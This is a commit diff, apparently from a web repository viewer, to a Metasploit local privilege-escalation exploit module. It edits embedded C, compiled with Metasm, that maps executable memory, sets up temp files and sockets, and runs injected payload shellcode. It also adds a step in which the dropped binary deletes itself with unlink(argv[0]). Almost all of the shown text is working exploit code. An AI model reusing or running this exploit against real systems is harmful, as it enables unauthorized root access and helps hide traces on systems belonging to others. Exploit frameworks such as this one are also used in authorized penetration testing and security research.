Use a proper main signature with arguments
Allows us to `unlink(argv[0])`bug/bundler_fix
parent
c251596f0b
commit
947925e3a3
|
@ -1,19 +0,0 @@
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Exploit::Local::Unix
|
|
||||||
|
|
||||||
include Exploit::Local::CompileC
|
|
||||||
|
|
||||||
def unix_socket_h(metasm_exe)
|
|
||||||
[
|
|
||||||
"external/source/meterpreter/source/bionic/libc/include/sys/socket.h",
|
|
||||||
].each do |fname|
|
|
||||||
cparser.parse(File.read(fname), fname)
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -76,16 +76,10 @@ class Metasploit4 < Msf::Exploit::Local
|
||||||
def exploit
|
def exploit
|
||||||
sc = Metasm::ELF.new(@cpu)
|
sc = Metasm::ELF.new(@cpu)
|
||||||
sc.parse %Q|
|
sc.parse %Q|
|
||||||
#define DEBUGGING
|
|
||||||
#define NULL ((void*)0)
|
|
||||||
#ifdef __ELF__
|
#ifdef __ELF__
|
||||||
.section ".bss" rwx
|
.section ".bss" rwx
|
||||||
.section ".text" rwx
|
.section ".text" rwx
|
||||||
.entrypoint
|
|
||||||
#endif
|
#endif
|
||||||
call main
|
|
||||||
;push eax
|
|
||||||
call exit
|
|
||||||
|
|
|
|
||||||
|
|
||||||
# Set up the same include order as the bionic build system.
|
# Set up the same include order as the bionic build system.
|
||||||
|
@ -117,39 +111,10 @@ class Metasploit4 < Msf::Exploit::Local
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
/*
|
#include <sys/socket.h>
|
||||||
OpenBSD's strcmp from string/strcmp.c in bionic
|
#include <string.h>
|
||||||
*/
|
|
||||||
int
|
|
||||||
strcmp(const char *s1, const char *s2)
|
|
||||||
{
|
|
||||||
while (*s1 == *s2++)
|
|
||||||
if (*s1++ == 0)
|
|
||||||
return (0);
|
|
||||||
return (*(unsigned char *)s1 - *(unsigned char *)--s2);
|
|
||||||
}
|
|
||||||
|)
|
|)
|
||||||
|
|
||||||
[
|
|
||||||
"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
|
|
||||||
"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
|
|
||||||
"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
|
|
||||||
"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
|
|
||||||
# This parses without any trouble, but actually calling perror() causes
|
|
||||||
# immediate segfaults.
|
|
||||||
#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",
|
|
||||||
|
|
||||||
# For some ungodly reason, NULL ends up being undefined when parsing this
|
|
||||||
# guy, which of course causes parse errors.
|
|
||||||
#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",
|
|
||||||
|
|
||||||
].each do |fname|
|
|
||||||
print_status("Parsing c file #{fname}")
|
|
||||||
cparser.parse(File.read(fname), fname)
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Unix socket.h")
|
|
||||||
unix_socket_h(sc)
|
|
||||||
current_task_struct_h(sc)
|
current_task_struct_h(sc)
|
||||||
|
|
||||||
case target.arch.first
|
case target.arch.first
|
||||||
|
@ -259,7 +224,7 @@ SHELLCODE
|
||||||
|
|
||||||
int shellcode_size = 0;
|
int shellcode_size = 0;
|
||||||
|
|
||||||
int main() {
|
int main(int argc, char **argv) {
|
||||||
int i = 0;
|
int i = 0;
|
||||||
int d;
|
int d;
|
||||||
int in_fd, out_fd;
|
int in_fd, out_fd;
|
||||||
|
@ -267,6 +232,9 @@ int main() {
|
||||||
char template[] = "/tmp/sendfile.XXXXXX";
|
char template[] = "/tmp/sendfile.XXXXXX";
|
||||||
int (*func)();
|
int (*func)();
|
||||||
|
|
||||||
|
printf("argv[0] = %s\n", argv[0]);
|
||||||
|
unlink(argv[0]);
|
||||||
|
|
||||||
uid = getuid(), gid = getgid();
|
uid = getuid(), gid = getgid();
|
||||||
|
|
||||||
mapped = mmap(NULL , 0x1000,
|
mapped = mmap(NULL , 0x1000,
|
||||||
|
@ -299,10 +267,11 @@ int main() {
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
if (out_fd < 0) {
|
if (out_fd < 0) {
|
||||||
printf("out_fd: %d, Errno: %d\n", out_fd, errno);
|
perror("socket");
|
||||||
exit(1);
|
exit(1);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
unlink(template);
|
unlink(template);
|
||||||
// Couldn't get mkstemp to work, just use open(2) for now
|
// Couldn't get mkstemp to work, just use open(2) for now
|
||||||
in_fd = open(template, O_CREAT | O_RDWR, 0777);
|
in_fd = open(template, O_CREAT | O_RDWR, 0777);
|
||||||
|
@ -345,6 +314,8 @@ int main() {
|
||||||
end
|
end
|
||||||
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
|
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
|
||||||
cparser.parse(main, "main.c")
|
cparser.parse(main, "main.c")
|
||||||
|
#$stderr.puts cparser.factorize
|
||||||
|
#return
|
||||||
|
|
||||||
asm = cpu.new_ccompiler(cparser, sc).compile
|
asm = cpu.new_ccompiler(cparser, sc).compile
|
||||||
|
|
||||||
|
@ -352,6 +323,7 @@ int main() {
|
||||||
end
|
end
|
||||||
|
|
||||||
sc.assemble
|
sc.assemble
|
||||||
|
sc.c_set_default_entrypoint
|
||||||
|
|
||||||
begin
|
begin
|
||||||
if sc.kind_of? Metasm::ELF
|
if sc.kind_of? Metasm::ELF
|
||||||
|
|
Loading…
Reference in New Issue